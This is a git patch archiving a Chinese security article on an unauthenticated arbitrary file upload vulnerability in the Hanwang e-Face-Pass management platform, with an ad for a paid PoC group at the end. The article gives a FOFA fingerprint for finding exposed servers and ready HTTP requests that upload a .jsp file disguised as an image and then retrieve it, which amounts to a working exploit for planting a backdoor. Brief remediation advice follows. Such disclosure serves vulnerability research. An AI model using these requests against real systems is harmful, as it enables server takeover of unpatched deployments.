From 41db9e8af1a813b8e0b942d2f44ae7ed341f09e9 Mon Sep 17 00:00:00 2001 From: test Date: Wed, 2 Sep 2026 03:09:32 +0000 Subject: [PATCH] =?UTF-8?q?=E6=AD=A3=E5=9C=A8=E8=8E=B7=E5=8F=96URL...=20ch?= =?UTF-8?q?ainreactors:=200=20=E4=B8=AAURL=20BruceFeIix:=200=20=E4=B8=AAUR?= =?UTF-8?q?L=20Doonsec:=2021=20=E4=B8=AAURL=20=E6=80=BB=E5=85=B1=E5=8E=BB?= =?UTF-8?q?=E9=87=8D=E5=90=8E:=2021=20=E4=B8=AAURL=20=E6=B1=89=E7=8E=8Be?= =?UTF-8?q?=E8=84=B8=E9=80=9A=E7=BB=BC=E5=90=88=E7=AE=A1=E7=90=86=E5=B9=B3?= =?UTF-8?q?=E5=8F=B0=20uploadMeetingFile.do=20=E4=BB=BB=E6=84=8F=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 3 +- ...MeetingFile.do 任意文件上传漏洞.md | 108 ++++++++++++++++++ 2 files changed, 110 insertions(+), 1 deletion(-) create mode 100644 doc/2026-09/汉王e脸通综合管理平台 uploadMeetingFile.do 任意文件上传漏洞.md diff --git a/data.json b/data.json index 938552ba..b2c4e700 100644 --- a/data.json +++ b/data.json @@ -26669,5 +26669,6 @@ "https://mp.weixin.qq.com/s/F7kHn038WxtvPKS683ajmA": "深信服运维安全管理系统 change_net 命令执行漏洞", "https://mp.weixin.qq.com/s/ECvtZO1iY2Xj7zDLilHsoA": "一个 BOLA 漏洞", "https://mp.weixin.qq.com/s/hI_J8xEsFGdzZskpVlA-Ww": "Sign in with Apple 0day 复盘：十万美元赏金背后的认证绕过", - "https://mp.weixin.qq.com/s/LCFrnxpW2_5c2l6ucedcvg": "【2026hvv】JeecgBoot 【0day】，文档细琐~【附验证exp】，速修~！" + "https://mp.weixin.qq.com/s/LCFrnxpW2_5c2l6ucedcvg": "【2026hvv】JeecgBoot 【0day】，文档细琐~【附验证exp】，速修~！", + "https://mp.weixin.qq.com/s/AqB7dmY-ePSDJfg0kH3Rgw": "汉王e脸通综合管理平台 uploadMeetingFile.do 任意文件上传漏洞" } \ No newline at end of file diff --git a/doc/2026-09/汉王e脸通综合管理平台 uploadMeetingFile.do 任意文件上传漏洞.md b/doc/2026-09/汉王e脸通综合管理平台 uploadMeetingFile.do 任意文件上传漏洞.md new file mode 100644 index 00000000..53ef92a7 --- /dev/null +++ b/doc/2026-09/汉王e脸通综合管理平台 uploadMeetingFile.do 任意文件上传漏洞.md @@ -0,0 +1,108 @@ +# 汉王e脸通综合管理平台 uploadMeetingFile.do 任意文件上传漏洞 + 北雪网络安全 2026-09-02 01:36 + +**本文章所描述的内容仅供网络安全学习使用，任何人不允许学到技术内容进行非法系统测试，作者不对任何学习文章并进行非法操作的行为负责，由本人自己承担后果，本文章仅供技术学习。** + +01 + +更多内容 + +#### 网络安全学习知识库每日添加最新漏洞并提供python与 nuclei 批量探测脚本：https://pc.fenchuan8.com/#/index?forum=110296 + + +02 + +搜索引擎 + + +fofa +： +icon_hash="1380907357" + + + +03 + +漏洞复现 + +汉王 +e +脸通综合管理平台 + uploadMeetingFile.do  +任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞写入后门，获取服务器权限，进而控制整个 + web  +服务器。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/d7u6ib4OKSzhe5XgbNs1yP7epiaqyQfQKt2AmdmxtUrYdLy0pA05OiaYV3GANfPUkLvJd9RKibziaQQJ2srrAiav5O4nUtK18Tn0ia2gN6iccNibs9ps/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/d7u6ib4OKSzheehHLzlD9L4TS5nUHGQbhqW5WBkTHoUTkyq1GOCfA8w96rwNBVR4wcbia5mTVK0Ff5VjrCq431MJnXVVGCNrmmabtkbpZxpXA/640?wx_fmt=png&from=appmsg "") + + +``` +POST /manage/meetingPersonal/uploadMeetingFile.do?recoToken=67mds2pxXQb&type= HTTP/1.1 +Host: {{Hostname}} +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/d7u6ib4OKSzhHyDHMREP1pmFTCZ6RviajX2ojYpThQX9xW69mwYptopcWWDtQdxu9hbibItUO6nkRFIlHHNibSEQTMWGxu68bEh88HFglicSK28M/640?wx_fmt=png&from=appmsg "") +``` +POST /manage/meetingPersonal/uploadMeetingFile.do?recoToken=67mds2pxXQb&type= HTTP/1.1 +Host: {{Hostname}} +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj + +------WebKitFormBoundaryFfJZ4PlAZBixjELj +Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp" +Content-Type: image/jpeg + +{{randstr_1}} +------WebKitFormBoundaryFfJZ4PlAZBixjELj-- +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/d7u6ib4OKSziaaxrc3WOeNFUapBwoOzSBU6RpF0lyL2P4H6UredZviaDkZpGSYm3Vc4xXIsBHM3s4CEyNEz2L44MvOj0Ze0wLEatibdSdB13Al8/640?wx_fmt=png&from=appmsg "") +``` +GET /manage/resource/{{path}} HTTP/1.1 +Host: {{Hostname}} +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/d7u6ib4OKSzhaetxAuLD0LLFmje0zeiceL5H8XRYibxgtoicUbcHEqdpGszOhmuJVIPMaibZtibQsaqgLtvwvN4qg8PDcZd50cx2AIyUZuDICNhEs/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/d7u6ib4OKSzjAiaT0C50KRkbO5UXNxG2tRe8HfNlCsdkXLNS44sjsNMpwOjnA8pFWI9kZNe3sz5oWhkWXF58pRargvVG8ZOT50xjHsIfNicJwU/640?wx_fmt=png&from=appmsg "") + + +04 + +修复建议 + +1、关闭互联网暴露面或接口设置访问权限 + +2、升级至安全版本 + +05 + +内部圈子 + +🛠️  +【知名漏洞实战圈，纯干货】 +🛠️ + +还在找公开漏洞POC而烦恼？还在为漏洞不会验证而发愁？还在为发现不了漏洞而自卑？这里漏洞圈子解决你的困惑！ +目前已更新poc数量2500+ + +![](https://mmbiz.qpic.cn/mmbiz_png/d7u6ib4OKSzju7bG3Xll9DMYf4lW9bUYsLuAwibHejic4HC99POYGetnbtShwHpAv9B64oq3ParsHt8aqeutajBkS7y8ia6Turo5oZT4GOFHnZI/640?wx_fmt=png&from=appmsg "") + +🎯 适用场景 + +**▫️渗透测试▫️企业漏洞自查▫️攻防演练▫️安全服务▫️合规运营** + +**** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/d7u6ib4OKSzg2jWgOzXeqKFWiaudg2V66H2BW1Z5p89I9dCXU8I2Faw9f54gXTNSlA3R9hROO4FrDtFf8pnAicWKqNCgGkeXO2Ycf8iagpbZf34/640?wx_fmt=jpeg&from=appmsg "") + +**▫️微信扫一扫进入付费圈子查看更多漏洞内容。** + +**▫️全民掌握网安技能，共守智能时代晴空。** + +**** +